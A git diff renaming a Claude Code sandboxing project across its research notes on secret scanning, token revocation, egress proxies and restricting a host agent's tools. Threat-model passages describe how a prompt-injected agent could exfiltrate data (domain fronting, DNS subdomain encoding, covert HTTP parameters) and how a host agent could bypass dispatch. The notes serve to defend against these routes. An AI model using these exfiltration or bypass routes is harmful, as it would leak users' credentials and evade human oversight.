`wezterm cli spawn` if the user is on wezterm. @@ -278,7 +278,7 @@ interface; the multiplexer is convenience for power users. - PRD 0018 chunk 3 — agent container runs `sleep infinity`; claude is invoked via `docker exec -it` (the attachment-point this doc is layering against) -- `claude_bottle/cli/dashboard.py:_operator_edit_flow` — the +- `bot_bottle/cli/dashboard.py:_operator_edit_flow` — the existing `curses.endwin` → shell out → `stdscr.refresh()` pattern Option 1 would clone - pyte: — the candidate diff --git a/docs/research/claude-code-token-revocation.md b/docs/research/claude-code-token-revocation.md index 2e8cf5d..99efc16 100644 --- a/docs/research/claude-code-token-revocation.md +++ b/docs/research/claude-code-token-revocation.md @@ -2,7 +2,7 @@ Research into how to revoke a long-lived `CLAUDE_CODE_OAUTH_TOKEN` (the kind `claude setup-token` mints), prompted by needing to rotate a token baked into a -claude-bottle container. +bot-bottle container. ## Summary @@ -63,7 +63,7 @@ For a known-leaked or suspected-leaked token: 1. Revoke the entry at `claude.ai/settings/claude-code`. 2. Run "Log out all sessions" under Settings → Account → Active Sessions. 3. Run `claude setup-token` to mint a replacement, and rotate it into - `CLAUDE_BOTTLE_OAUTH_TOKEN` immediately. + `BOT_BOTTLE_OAUTH_TOKEN` immediately. 4. Email Anthropic support at `support.anthropic.com`. Security issues sometimes get attention that GitHub issues do not. diff --git a/docs/research/git-gate-commit-approval.md b/docs/research/git-gate-commit-approval.md index 0d94bc7..fea4f1c 100644 --- a/docs/research/git-gate-commit-approval.md +++ b/docs/research/git-gate-commit-approval.md @@ -13,7 +13,7 @@ wrong in the user-intent sense, and there is no way to say so. ## Summary -No off-the-shelf dashboard fits the shape claude-bottle needs +No off-the-shelf dashboard fits the shape bot-bottle needs (per-bottle, host-local, integrated into a pre-receive rejection with approval feeding back into the gate's own decision). Gitleaks itself is a CLI with no UI and was declared **feature-complete** in @@ -49,9 +49,9 @@ baseline), and recommends a direction. ## Question 1: Existing dashboards and control surfaces -### Inside claude-bottle today +### Inside bot-bottle today -`claude_bottle/cli/` has `_common, cleanup, edit, info, init, list, +`bot_bottle/cli/` has `_common, cleanup, edit, info, init, list, start` — nothing gate-specific. The gate appears only as a sidecar in `bottle_plan.py`'s preflight rendering. Rejections are written to the pre-receive hook's stderr (`echo "git-gate: gitleaks @@ -76,14 +76,14 @@ TOML allowlist, and a roadmap that includes LLM-assisted classification and automatic secret revocation via provider APIs. Still CLI-shaped — no dashboard either. -Relevant to claude-bottle in two ways: +Relevant to bot-bottle in two ways: - The upstream direction of travel is *toward* agent-driven scanners, which makes "the bottle invokes a scanner and reports findings up" a supported pattern rather than a hack. - CEL is a richer expression language for filter entries than gitleaks's selector struct, which loosens the design space for - Option B (below). If claude-bottle ever swaps gitleaks for + Option B (below). If bot-bottle ever swaps gitleaks for Betterleaks, the approval-flow design should be expressible in both. @@ -107,7 +107,7 @@ false-positive in its UI, and tracks remediation state. Designed for org-scale: one DefectDojo instance covers many repos and scanners. -Shape mismatch for claude-bottle: +Shape mismatch for bot-bottle: - DefectDojo's review state is *informational* — marking a finding as accepted in DefectDojo does not write to gitleaks's allowlist @@ -137,7 +137,7 @@ premise is sandbox isolation. ### Bottom line -No off-the-shelf dashboard fits claude-bottle's shape: per-bottle, +No off-the-shelf dashboard fits bot-bottle's shape: per-bottle, host-local, integrated into a pre-receive rejection with the approval feeding back into the gate's own decision-making. The nearest open-source analogue (DefectDojo) is post-hoc and @@ -334,7 +334,7 @@ project, and the vendor-side benchmark numbers (98.6% recall vs gitleaks's 70.4% on CredData) have not been independently reproduced in published sources. -### What Betterleaks would add for claude-bottle +### What Betterleaks would add for bot-bottle - **Detection coverage on encoded secrets.** Native handling of doubly- and triply-encoded matches. This matters in the @@ -434,6 +434,6 @@ redesign. - [AWS example access key (`AKIAIOSFODNN7EXAMPLE`)](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) — documented placeholder safe to use in examples without triggering most secret scanners. -- `claude_bottle/git_gate.py` — pre-receive hook implementation. +- `bot_bottle/git_gate.py` — pre-receive hook implementation. Today: `gitleaks git --log-opts="$log_opts" --no-banner --redact`; no `--config`, no `--baseline-path`. diff --git a/docs/research/git-secret-scanning-hardening.md b/docs/research/git-secret-scanning-hardening.md index 99d762f..ef17df2 100644 --- a/docs/research/git-secret-scanning-hardening.md +++ b/docs/research/git-secret-scanning-hardening.md @@ -1,6 +1,6 @@ # Git secret scanning as further hardening -Research into whether claude-bottle should add a secret-scanning step to +Research into whether bot-bottle should add a secret-scanning step to its git workflow — both on the host repo and (potentially) inside bottles — and what tools exist for it. Motivated by the threat model below: a secret accidentally `git push`ed to a public remote is @@ -14,7 +14,7 @@ of defense-in-depth that doesn't replace any existing control (`.gitignore`, environment-variable hygiene, network egress guards) but catches the one case where everything else fails: a credential ending up in a tracked file or commit message and being pushed to a public -remote. For claude-bottle specifically, `gitleaks` is the clearest fit +remote. For bot-bottle specifically, `gitleaks` is the clearest fit — Go binary, MIT, scans full history including commit messages, runs fully offline, and integrates with the existing `.githooks/` directory without adding a new runtime. @@ -83,12 +83,12 @@ suspicious, let me close without merging," the bytes that mattered are already on the attacker's box. Detection has to be at *commit* time (or *push* time at the latest), not at review time. -### Why this matters for claude-bottle +### Why this matters for bot-bottle Two surfaces are exposed: -1. **The claude-bottle repo itself.** Development happens on a host - with `CLAUDE_BOTTLE_OAUTH_TOKEN`, Gitea tokens, and other +1. **The bot-bottle repo itself.** Development happens on a host + with `BOT_BOTTLE_OAUTH_TOKEN`, Gitea tokens, and other credentials in the environment. A fixture, test snapshot, log capture, or pasted-in debug output could carry one of them into a tracked file. The repo's Gitea remote is private, but mirrors or @@ -209,7 +209,7 @@ it with a separate message-scanning step. ## Recommended path forward -In priority order, for the host claude-bottle repo: +In priority order, for the host bot-bottle repo: 1. **One-time retro scan** with gitleaks: `gitleaks detect --source . --log-opts="--all" --redact`. diff --git a/docs/research/host-dispatch-to-container-agents.md b/docs/research/host-dispatch-to-container-agents.md index eeac349..368ed19 100644 --- a/docs/research/host-dispatch-to-container-agents.md +++ b/docs/research/host-dispatch-to-container-agents.md @@ -2,7 +2,7 @@ ## Question -Can host Claude decide which claude-bottle container to spin up for a task, while guaranteeing the work executes in the container and not on the host? +Can host Claude decide which bot-bottle container to spin up for a task, while guaranteeing the work executes in the container and not on the host? ## Claude Code Agent Mechanisms @@ -16,7 +16,7 @@ Claude Code provides two mechanisms for defining reusable agent behavior: ## The Reliability Problem -The previous approach used an MCP server to bridge host Claude and claude-bottle containers. It failed because host Claude had both work-capable tools (Edit, Write, Bash) and MCP dispatch tools. Claude could choose to do the work itself rather than dispatch, with no enforcement mechanism to prevent it. +The previous approach used an MCP server to bridge host Claude and bot-bottle containers. It failed because host Claude had both work-capable tools (Edit, Write, Bash) and MCP dispatch tools. Claude could choose to do the work itself rather than dispatch, with no enforcement mechanism to prevent it. ## Why Tool Restriction Solves It @@ -26,7 +26,7 @@ Claude Code's subagent `tools:` allowlist is architecturally enforced — not a Three pieces in combination give a 100% guarantee: -1. **Restricted host subagent** — a `.claude/agents/claude-bottle-dispatch.md` with `tools:` limited to MCP container tools and git-read operations. No Edit, Write, or arbitrary Bash. +1. **Restricted host subagent** — a `.claude/agents/bot-bottle-dispatch.md` with `tools:` limited to MCP container tools and git-read operations. No Edit, Write, or arbitrary Bash. 2. **MCP server** — exposes tools the restricted host can call: - `list_agents()` — available agents from the manifest (host Claude decides which to use) @@ -40,11 +40,11 @@ Three pieces in combination give a 100% guarantee: Build host-dispatch-to-container in two deliverables: -**Deliverable 1: Non-interactive run mode for claude-bottle** +**Deliverable 1: Non-interactive run mode for bot-bottle** Extend `cli.py` with a `run ` subcommand. Starts the container, writes the task prompt to a file inside it (same `docker cp` pattern used for `--append-system-prompt-file`), invokes `claude --print` with the prompt, streams stdout back to the host, and exits when Claude finishes. Results committed and pushed from inside the container as usual. -**Deliverable 2: MCP server wrapping claude-bottle** +**Deliverable 2: MCP server wrapping bot-bottle** A minimal MCP server (bash or node) exposing `list_agents`, `run_agent`, `get_status`, `get_output`. Registered in the host Claude Code settings so a restricted dispatch subagent can call it. @@ -52,7 +52,7 @@ The combination enforces the container boundary at the tool layer, not the promp **Critical:** the tool restriction only applies within the dispatch agent's context. A normal Claude session has its full toolset and may never invoke the dispatch agent regardless of its description. The dispatch agent must be the *entry point* for the session, not an optional subagent a full-tool host might call. Two ways to enforce this: -- Launch with `claude --agent claude-bottle-dispatch` — makes the dispatch agent the primary agent for the session. -- Set `agent: claude-bottle-dispatch` in the project `.claude/settings.json` — same effect automatically for any `claude` invocation in that directory. +- Launch with `claude --agent bot-bottle-dispatch` — makes the dispatch agent the primary agent for the session. +- Set `agent: bot-bottle-dispatch` in the project `.claude/settings.json` — same effect automatically for any `claude` invocation in that directory. Without one of these, the guarantee does not hold. diff --git a/docs/research/landscape-containerized-claude.md b/docs/research/landscape-containerized-claude.md index 3f42820..c976073 100644 --- a/docs/research/landscape-containerized-claude.md +++ b/docs/research/landscape-containerized-claude.md @@ -1,11 +1,11 @@ # Landscape: containerized Claude Code agent tools -Research into whether claude-bottle is redundant with existing projects, and +Research into whether bot-bottle is redundant with existing projects, and whether it's worth publishing. ## Summary -The "Claude Code in Docker" space is active but not saturated. claude-bottle +The "Claude Code in Docker" space is active but not saturated. bot-bottle occupies a distinct position: no surveyed project combines all five of its defining features. Publishing is likely worthwhile, with the main risk being claudebox expanding to absorb the same niche. @@ -38,7 +38,7 @@ manifest merge. ## Adjacent (different model) - **dagger/container-use** (mid-2025) — exposes an MCP server so the *agent* - spins up its own containers with Git worktrees. Inverted model vs. claude-bottle + spins up its own containers with Git worktrees. Inverted model vs. bot-bottle (agent controls container rather than being launched into one by a manifest). Still marked early-development. - **E2B, Northflank, Cloudflare Sandbox SDK** — cloud-hosted SaaS sandbox diff --git a/docs/research/local-vs-remote-agent-execution.md b/docs/research/local-vs-remote-agent-execution.md index e29ea22..72c85d1 100644 --- a/docs/research/local-vs-remote-agent-execution.md +++ b/docs/research/local-vs-remote-agent-execution.md @@ -2,7 +2,7 @@ Research notes on when to run containerized Claude Code agents on a remote machine outside the local network versus inside it, focusing on security and privacy concerns. -Relevant to a potential claude-bottle extension for remote agent execution. +Relevant to a potential bot-bottle extension for remote agent execution. --- @@ -16,7 +16,7 @@ escapes**, and **whether credentials are short-lived and scoped**. ## Threat landscape by topology -### Local (current claude-bottle model) +### Local (current bot-bottle model) - Container escape → developer laptop → `~/.ssh`, `~/.aws`, browser cookies, Keychain, everything - Outbound: Docker containers have full internet access by default; no egress monitoring on most home networks @@ -99,7 +99,7 @@ Key insight: once a container is compromised via prompt injection, the blast rad ## Credentials and secrets -### Local topology (current claude-bottle) +### Local topology (current bot-bottle) - Secrets live in the host environment or are prompted from `/dev/tty` - Forwarded to containers via `-e NAME` (not `=value`), never on argv, never in env-files for secrets @@ -125,10 +125,10 @@ An 8,640x reduction in abuse window comes from switching from 90-day keys to 15- ### Local topology - Monitoring: whatever the home/office router supports — usually minimal -- Containment: `--network none` + a proxy socket provides the strongest containment; claude-bottle does not currently do this +- Containment: `--network none` + a proxy socket provides the strongest containment; bot-bottle does not currently do this - DLP: essentially none unless specifically deployed on the LAN - Domain fronting risk: even allowlisted-domain proxies can be bypassed via domain fronting — an agent that can reach `api.anthropic.com` could relay data to an attacker-controlled backend through that domain -- **claude-bottle today: containers have full outbound internet access. No egress restrictions.** +- **bot-bottle today: containers have full outbound internet access. No egress restrictions.** ### Remote topology (cloud VM) @@ -177,7 +177,7 @@ Strongest exfiltration controls for either topology: --- -## Concrete recommendations if extending claude-bottle for remote +## Concrete recommendations if extending bot-bottle for remote 1. **Never build the VPN-pivot pattern.** A remote agent connected back to the LAN via VPN is the worst of both worlds. If a remote agent needs LAN resources, expose those through a narrow API, not a VPN. @@ -199,7 +199,7 @@ Strongest exfiltration controls for either topology: ## Bottom line -For the current claude-bottle use case (developer feature implementation, no regulated data, +For the current bot-bottle use case (developer feature implementation, no regulated data, single developer), local execution is the right default. The biggest unaddressed risk right now isn't topology — it's that containers have unrestricted outbound internet access. Adding `--network none` + a proxy socket would be higher-leverage than any topology change. diff --git a/docs/research/manifest-format-and-grouping.md b/docs/research/manifest-format-and-grouping.md index 8f8c601..8539686 100644 --- a/docs/research/manifest-format-and-grouping.md +++ b/docs/research/manifest-format-and-grouping.md @@ -1,6 +1,6 @@ # Manifest format and grouping -Two open questions for claude-bottle's manifest layer after PRD 0011: +Two open questions for bot-bottle's manifest layer after PRD 0011: 1. **Grouping.** Keep bottles and agents in the same manifest file (today's shape), or split them — one file per bottle and one @@ -8,7 +8,7 @@ Two open questions for claude-bottle's manifest layer after PRD 0011: 2. **Format.** Stay on JSON, switch to YAML, or move to a Markdown spec with YAML frontmatter. The Markdown option splits into two sub-flavors: reuse Claude Code's existing subagent format with - bottle-specific extensions, or invent a claude-bottle-owned + bottle-specific extensions, or invent a bot-bottle-owned Markdown spec used for both agents and bottles. The trust boundary from PRD 0011 — bottle infrastructure lives in @@ -19,8 +19,8 @@ will be once a user has 5+ bottles and 10+ agents. ## Why this matters -Current shape: one JSON file at `$HOME/claude-bottle.json` (and -optionally `$CWD/claude-bottle.json` for cwd-defined agents). After +Current shape: one JSON file at `$HOME/bot-bottle.json` (and +optionally `$CWD/bot-bottle.json` for cwd-defined agents). After PRD 0011, the home file owns bottles + home agents; the cwd file is agents-only. @@ -48,7 +48,7 @@ the inflection point has been reached. ### Option A: one file for both (current) -`$HOME/claude-bottle.json` contains `bottles:` and `agents:`. Cwd +`$HOME/bot-bottle.json` contains `bottles:` and `agents:`. Cwd file (optional) contains `agents:` only. **Pros** @@ -74,16 +74,16 @@ file (optional) contains `agents:` only. ### Option B: file per thing -Bottles live as `$HOME/.claude-bottle/bottles/.`. Agents -live as `$HOME/.claude-bottle/agents/.` (home agents) -and `$CWD/.claude-bottle/agents/.` (cwd agents). The +Bottles live as `$HOME/.bot-bottle/bottles/.`. Agents +live as `$HOME/.bot-bottle/agents/.` (home agents) +and `$CWD/.bot-bottle/agents/.` (cwd agents). The resolver globs each directory. **Pros** - Scales to N bottles + N agents without any single file growing. -- Trust boundary expresses on disk: `$HOME/.claude-bottle/bottles/` - is the only place bottles can come from. `$CWD/.claude-bottle/` +- Trust boundary expresses on disk: `$HOME/.bot-bottle/bottles/` + is the only place bottles can come from. `$CWD/.bot-bottle/` can only contribute agents. No resolver logic needed to enforce it — the file paths are the enforcement. - Aligns with Claude Code's existing model: each subagent already @@ -147,7 +147,7 @@ preserves this format. ### Option 2: full YAML -`$HOME/claude-bottle.yaml` (or `.yml`). Parser pulls in PyYAML (or +`$HOME/bot-bottle.yaml` (or `.yml`). Parser pulls in PyYAML (or ruamel.yaml). **Pros** @@ -172,14 +172,14 @@ ruamel.yaml). users will reach for one (Jinja, Helm-style) and then we're in yaml-as-template-language territory. -### Option 3: reuse Claude Code's subagent spec (Markdown + YAML frontmatter), with claude-bottle extensions +### Option 3: reuse Claude Code's subagent spec (Markdown + YAML frontmatter), with bot-bottle extensions Claude Code already stores subagents at `~/.claude/agents/.md` with YAML frontmatter and a Markdown body. Frontmatter today carries fields like `name`, `description`, `model`, `color`, `memory`; the body is the system prompt. Adding fields like -`bottle: dev` and a `claude_bottle:` sub-block to the same -frontmatter would make each claude-bottle agent a drop-in addition +`bottle: dev` and a `bot_bottle:` sub-block to the same +frontmatter would make each bot-bottle agent a drop-in addition to Claude Code's agent directory. ```markdown @@ -188,12 +188,12 @@ name: implementer description: Implements features against PRDs in this repo model: opus bottle: dev -claude_bottle: +bot_bottle: skills: [init-prd] --- You are a feature-implementation agent running inside an -ephemeral claude-bottle sandbox. The host has copied the user's +ephemeral bot-bottle sandbox. The host has copied the user's project into /home/node/workspace... ``` @@ -202,7 +202,7 @@ infrastructure, not behavior. Either: - (3a) Bottles stay JSON / YAML; only agents adopt the MD+frontmatter format. Mixed-format manifest. -- (3b) Bottles adopt MD+frontmatter too, using a claude-bottle-only +- (3b) Bottles adopt MD+frontmatter too, using a bot-bottle-only schema. Then we're really doing option 4 for bottles + option 3 for agents. Two formats but one parser. @@ -214,7 +214,7 @@ infrastructure, not behavior. Either: - Each agent's prompt lives naturally as Markdown body — long prompts read well, can use headings/lists/code blocks. - File-per-thing falls out automatically (one MD per agent). -- Claude Code may eventually consume claude-bottle's agent files +- Claude Code may eventually consume bot-bottle's agent files directly, doubling their utility. **Cons** @@ -222,7 +222,7 @@ infrastructure, not behavior. Either: - **Coupling to Claude Code's spec.** Anthropic owns that schema; field names and semantics can change. Today's `model` / `description` / `memory` are stable, but tomorrow's may not be. - Our `bottle:` / `claude_bottle:` extensions could collide with + Our `bottle:` / `bot_bottle:` extensions could collide with future official fields. - The agent file's frontmatter starts to carry two unrelated schemas: Claude Code's (model, description) and ours (bottle, @@ -233,28 +233,28 @@ infrastructure, not behavior. Either: frontmatter library (python-frontmatter) or hand-parse the `---` block and feed it to PyYAML. Either way, a new dep. -### Option 4: invent a claude-bottle MD spec, used for both agents and bottles +### Option 4: invent a bot-bottle MD spec, used for both agents and bottles ```markdown --- -# $HOME/.claude-bottle/agents/implementer.md +# $HOME/.bot-bottle/agents/implementer.md bottle: dev skills: [init-prd] --- You are a feature-implementation agent running inside an -ephemeral claude-bottle sandbox... +ephemeral bot-bottle sandbox... ``` ```markdown --- -# $HOME/.claude-bottle/bottles/dev.md +# $HOME/.bot-bottle/bottles/dev.md cred_proxy: routes: - path: /anthropic/ upstream: https://api.anthropic.com auth_scheme: Bearer - token_ref: CLAUDE_BOTTLE_OAUTH_TOKEN + token_ref: BOT_BOTTLE_OAUTH_TOKEN role: anthropic-base-url egress: allowlist: [example.com] @@ -273,8 +273,8 @@ for publishing scoped packages. documentation (why does this bottle exist? what tokens does it hold? who owns the keys?). - Not coupled to Claude Code's schema; we own the spec. -- Trust boundary on disk: `$HOME/.claude-bottle/bottles/` is the - only place bottles can come from; `$CWD/.claude-bottle/agents/` +- Trust boundary on disk: `$HOME/.bot-bottle/bottles/` is the + only place bottles can come from; `$CWD/.bot-bottle/agents/` is the only thing cwd contributes. - Agent files in this spec are *almost* compatible with Claude Code's subagent format. If we keep the `name` / `description` @@ -308,14 +308,14 @@ grouping fits how users iterate on agents (write a prompt, save, launch). Between option 3 (reuse CC spec) and option 4 (new spec): the -appealing middle ground is "claude-bottle agents follow the CC +appealing middle ground is "bot-bottle agents follow the CC subagent shape closely (name / description / model + bottle and skills extensions) so they drop into `~/.claude/agents/` as a side effect, while bottles use the same MD+frontmatter shape but -with claude-bottle's own schema and live in a dedicated directory." +with bot-bottle's own schema and live in a dedicated directory." This: -- gives agents both a claude-bottle launch story AND a Claude Code +- gives agents both a bot-bottle launch story AND a Claude Code invocation story from the same file; - keeps bottles entirely under our schema (no Anthropic dependency for the security-load-bearing config); @@ -343,18 +343,18 @@ per-file grouping (which is the bigger UX win), and the per-file shape is what makes the trust boundary self-documenting on disk. The dependency cost (PyYAML) is the main thing that needs an -explicit yes from the user — claude-bottle today has zero +explicit yes from the user — bot-bottle today has zero third-party Python deps for production code, and adopting one crosses a clean architectural line. If "low deps" stays a hard constraint, the alternative is to hand-parse the frontmatter block and feed it to a minimal YAML subset parser (the keys -claude-bottle uses are all flat string/list/dict — no anchors, no +bot-bottle uses are all flat string/list/dict — no anchors, no multi-line block scalars, no implicit type coercion). If we don't want to commit to the move yet, the next-cheapest option is keeping JSON but splitting into per-file (option B × -option 1): `$HOME/.claude-bottle/bottles/.json` + -`$HOME/.claude-bottle/agents/.json`. Most of the scaling +option 1): `$HOME/.bot-bottle/bottles/.json` + +`$HOME/.bot-bottle/agents/.json`. Most of the scaling wins; none of the body-prose or dependency story. ## Open questions @@ -362,7 +362,7 @@ wins; none of the body-prose or dependency story. - **Does Claude Code object to extra frontmatter fields?** Test: drop a file with `bottle:` in `~/.claude/agents/` and see if CC warns / ignores / breaks. If it warns, we'd want a different - field name (e.g. `claude-bottle-bottle`) or a namespaced block. + field name (e.g. `bot-bottle-bottle`) or a namespaced block. - **Migration story.** Is the project willing to ship a one-shot `./cli.py migrate-manifest` command that does the JSON → MD conversion? Or do users just rewrite by hand from the new docs? @@ -370,8 +370,8 @@ wins; none of the body-prose or dependency story. empty body, is the MD-with-frontmatter format still warranted? An alternative is YAML for bottles only (no body, but with comments) and MD+frontmatter for agents. -- **Dotfiles vs not.** `$HOME/.claude-bottle/` or - `$HOME/claude-bottle/`? The hidden dotfile shape matches dev +- **Dotfiles vs not.** `$HOME/.bot-bottle/` or + `$HOME/bot-bottle/`? The hidden dotfile shape matches dev conventions (`.config/`, `.ssh/`); the visible shape signals "this is a real thing you own." - **PyYAML hard dep, or minimal subset parser?** Trade-off between diff --git a/docs/research/network-egress-guard.md b/docs/research/network-egress-guard.md index eb51d63..c7bc084 100644 --- a/docs/research/network-egress-guard.md +++ b/docs/research/network-egress-guard.md @@ -1,4 +1,4 @@ -# Network egress guard for claude-bottle containers +# Network egress guard for bot-bottle containers Research into preventing data exfiltration from Docker containers running Claude Code (`--dangerously-skip-permissions`), with a focus on approaches @@ -358,7 +358,7 @@ services: - agent-net claude-agent: - image: claude-bottle:latest + image: bot-bottle-claude:latest environment: HTTPS_PROXY: "http://proxy:4750" HTTP_PROXY: "http://proxy:4750" @@ -387,7 +387,7 @@ docker run -d --name "$container_name" \ --network agent-net-"$slug" \ -e HTTPS_PROXY=http://"$proxy_name":4750 \ -e HTTP_PROXY=http://"$proxy_name":4750 \ - claude-bottle:latest + bot-bottle-claude:latest ``` The `--internal` flag on the network prevents containers from reaching @@ -639,7 +639,7 @@ this is not relevant — the binary uses the Linux certificate store. Justified only if the threat model includes sophisticated actors deliberately crafting domain-fronting payloads. The extra complexity and CA-trust-management -overhead is not worth it for v1. Keep in view for v2 if the claude-bottle use +overhead is not worth it for v1. Keep in view for v2 if the bot-bottle use case expands to high-value agent deployments. --- diff --git a/docs/research/pipelock-assessment.md b/docs/research/pipelock-assessment.md index a2d87d0..cc058ee 100644 --- a/docs/research/pipelock-assessment.md +++ b/docs/research/pipelock-assessment.md @@ -1,4 +1,4 @@ -# Pipelock assessment for claude-bottle egress control +# Pipelock assessment for bot-bottle egress control Research into whether pipelock — an open-source AI agent firewall — is a suitable replacement for, or complement to, the egress-control @@ -10,7 +10,7 @@ tripwire approach sketched in `secret-exfil-tripwire-encodings.md`. - Pipelock (`luckyPipewrench/pipelock`) is an open-source AI agent firewall implemented as a single Go binary. It sits inline as an HTTP forward proxy and, optionally, applies OS-level process containment. It - is the most directly relevant tool found for claude-bottle's egress / + is the most directly relevant tool found for bot-bottle's egress / data-exfiltration concerns. - Its strongest differentiator over the v1 iptables recommendation is **content-aware DLP**: it matches 48 credential patterns across @@ -238,12 +238,12 @@ The following threat-model items from `network-egress-guard.md` are --- -## Fit for claude-bottle +## Fit for bot-bottle ### Deployment topology Pipelock explicitly supports two deployment shapes relevant to -claude-bottle: +bot-bottle: **Sidecar proxy.** A separate container running pipelock on an `--internal` Docker network, with the agent container's only route to the @@ -269,12 +269,12 @@ its own scanner. This avoids a second container but introduces the `--best-effort` degradation problem described below and means the agent and the proxy run in the same failure domain. -The sidecar topology is recommended for claude-bottle because it matches +The sidecar topology is recommended for bot-bottle because it matches the existing Python-orchestrated multi-container model (the SSH key agent already uses a separate process), keeps pipelock outside the agent's kill reach, and avoids the `--best-effort` issue on macOS Docker Desktop. -The claude-bottle manifest model would need one new piece of plumbing: a +The bot-bottle manifest model would need one new piece of plumbing: a per-agent pipelock ACL YAML generated from the manifest's `allowlist` and `ssh` entries, analogous to what the smokescreen section of `network-egress-guard.md` already sketches. The `cli.py` changes required @@ -341,7 +341,7 @@ generated with `pipelock generate config --preset balanced > pipelock.yaml`. The config watcher picks up changes at runtime (100ms debounce on SIGHUP or file events), so per-agent ACL updates do not require a container restart. -For claude-bottle, the relevant per-agent configuration is the domain +For bot-bottle, the relevant per-agent configuration is the domain allowlist. The manifest already captures the necessary inputs: the `ssh` array has target hostnames, and an `allowlist` key is planned for the v2 egress work (per `network-egress-guard.md`). Generating a per-agent pipelock @@ -353,14 +353,14 @@ The YAML format is more expressive than smokescreen's YAML ACL: it also carries DLP sensitivity settings, per-domain data budgets, and rate limits. For a first integration pass, only the `api_allowlist` section needs per-agent population; the rest of the defaults are appropriate for the -claude-bottle threat model. +bot-bottle threat model. ### Runtime footprint A single Go binary, ~12–20 MB (sources report slightly different figures; the GitHub description says "~20 MB" and the randomcpu.com writeup says "~12 MB"). Zero runtime dependencies; the Go standard library is statically linked. This -is consistent with claude-bottle's low-dependency principle. Adding Go as a +is consistent with bot-bottle's low-dependency principle. Adding Go as a host build dependency is not required — the binary is fetched from a Docker image or Homebrew. @@ -410,7 +410,7 @@ The reasoning: everything smokescreen covers (CONNECT-based hostname allowlisting, RFC 1918 blocking, Docker `--internal` network isolation) and adds DLP, subdomain-entropy DNS exfil detection, MCP scanning, and request - redaction. The integration shape for claude-bottle is identical: a + redaction. The integration shape for bot-bottle is identical: a separate container on an internal Docker network, with the agent's `HTTPS_PROXY` pointing at it. The `cli.py` changes are the same pattern. @@ -454,7 +454,7 @@ The reasoning: hostname-based allowlisting, content DLP, subdomain entropy analysis, and MCP scanning on top of the v1 IP layer. Implementation effort is comparable to the smokescreen plan; capabilities are a strict superset for the - claude-bottle threat model. + bot-bottle threat model. - **DIY tripwire script (deferred):** the `secret-exfil-tripwire-encodings.md` DIY sketch can be deferred entirely if pipelock's DLP patterns cover the secrets in use. Custom patterns (for secrets not matching pipelock's 48 @@ -463,17 +463,17 @@ The reasoning: --- -## Does pipelock make claude-bottle redundant? +## Does pipelock make bot-bottle redundant? Pipelock is itself an AI-agent firewall with an in-process sandbox mode, which raises a fair question: if pipelock can already wrap an agent process with Landlock + seccomp + namespaces (or `sandbox-exec` on macOS), is the -Docker-container layer that claude-bottle provides still doing useful work? +Docker-container layer that bot-bottle provides still doing useful work? -The short answer: **no, pipelock does not make claude-bottle redundant**. +The short answer: **no, pipelock does not make bot-bottle redundant**. The two operate at different layers and the overlap is narrow. -### Where pipelock substitutes for parts of claude-bottle +### Where pipelock substitutes for parts of bot-bottle For a single-agent use case on Linux with full unprivileged-userns support, `pipelock sandbox -- claude` could replace the Docker container with a @@ -483,7 +483,7 @@ a real isolation primitive, not a fig leaf. A user whose only concern is "don't let one agent's bug touch my home directory or exfil my keys" could plausibly run pipelock on the host and skip Docker entirely. -### Where claude-bottle does work pipelock does not +### Where bot-bottle does work pipelock does not The redundancy argument breaks down once the actual goals from `CLAUDE.md` are enumerated: @@ -499,7 +499,7 @@ The redundancy argument breaks down once the actual goals from filesystem. 2. **Parallel agents.** A primary stated goal is "Allow me to easily spin - up agent tasks in parallel". claude-bottle launches one container per + up agent tasks in parallel". bot-bottle launches one container per agent invocation with a slug-derived name and a numeric suffix on conflict. Pipelock has no equivalent fleet-management concept; it is a per-process wrapper. Running `pipelock sandbox -- claude` four times in @@ -508,7 +508,7 @@ The redundancy argument breaks down once the actual goals from keychain. That is not the same property as four containers each with its own ephemeral filesystem. -3. **The manifest model.** claude-bottle's `claude-bottle.json` carries +3. **The manifest model.** bot-bottle's `bot-bottle.json` carries per-agent `env`, `skills`, `prompt`, and `ssh` configuration with precise resolution semantics (prompt-at-launch secrets, host-env forwarding, literal env-file values, host-key fingerprint pinning). @@ -530,43 +530,43 @@ The redundancy argument breaks down once the actual goals from (no UDS forwarding from host agent into the VM) and gives the property that the `node` user can sign with the key but cannot read its bytes. Pipelock does not address SSH at all, which is one of its documented - gaps. claude-bottle's solution remains relevant under either deployment. + gaps. bot-bottle's solution remains relevant under either deployment. 6. **Skill-directory injection per agent.** The `skills` array copies named directories from `~/.claude/skills/` into the container at launch. There - is no analogous concept in pipelock; the skill set claude-bottle exposes + is no analogous concept in pipelock; the skill set bot-bottle exposes is part of the per-agent isolation model, not just a configuration. -7. **Shareability of agent definitions.** A `claude-bottle.json` file can +7. **Shareability of agent definitions.** A `bot-bottle.json` file can be checked into a project repo, and a third party can run the same agent with the same env-resolution rules. Pipelock configurations are per-installation; they do not encode "this is an agent named X". ### The opposite question -Does claude-bottle make pipelock redundant? Equally no. Docker container +Does bot-bottle make pipelock redundant? Equally no. Docker container isolation does nothing about content-level exfil over an allowed channel. -A misbehaving agent inside a claude-bottle container with HTTPS access to +A misbehaving agent inside a bot-bottle container with HTTPS access to `api.anthropic.com` can still attempt to exfiltrate via DNS subdomain encoding, prompt-injection responses from MCP servers, or covert HTTP parameters. Those are exactly the threats pipelock is designed to detect. -The containment argument for claude-bottle and the content-inspection +The containment argument for bot-bottle and the content-inspection argument for pipelock do not overlap. ### Net conclusion -Pipelock and claude-bottle are layered defenses, not alternatives. -claude-bottle provides filesystem isolation, per-agent state ephemerality, +Pipelock and bot-bottle are layered defenses, not alternatives. +bot-bottle provides filesystem isolation, per-agent state ephemerality, fleet management, manifest-driven configuration, and the SSH-agent-without- key-leak property. Pipelock provides hostname allowlisting, content-aware DLP, MCP scanning, and subdomain-entropy DNS exfil detection at the network boundary. The strongest deployment is both: pipelock as a sidecar on the -container's only egress route, claude-bottle as the per-agent container +container's only egress route, bot-bottle as the per-agent container orchestrator. Removing either layer leaves a real and named threat uncovered. The one scenario in which adopting pipelock could justify retiring -claude-bottle is a single-user, single-agent, host-resident deployment +bot-bottle is a single-user, single-agent, host-resident deployment where the user is willing to give up the parallel-agent goal, accept Landlock-level filesystem restriction in place of mount-namespace isolation, and re-implement env / skill / SSH-key / prompt management @@ -587,7 +587,7 @@ some other way. That is not the use case the project was built for. from an unvetted source. Pinning by digest (as the CLAUDE.md recommends for supply-chain hygiene) and building from source are both options. -3. **What is the actual DLP false-positive rate for the secrets claude-bottle +3. **What is the actual DLP false-positive rate for the secrets bot-bottle agents use?** The 48 patterns cover well-known 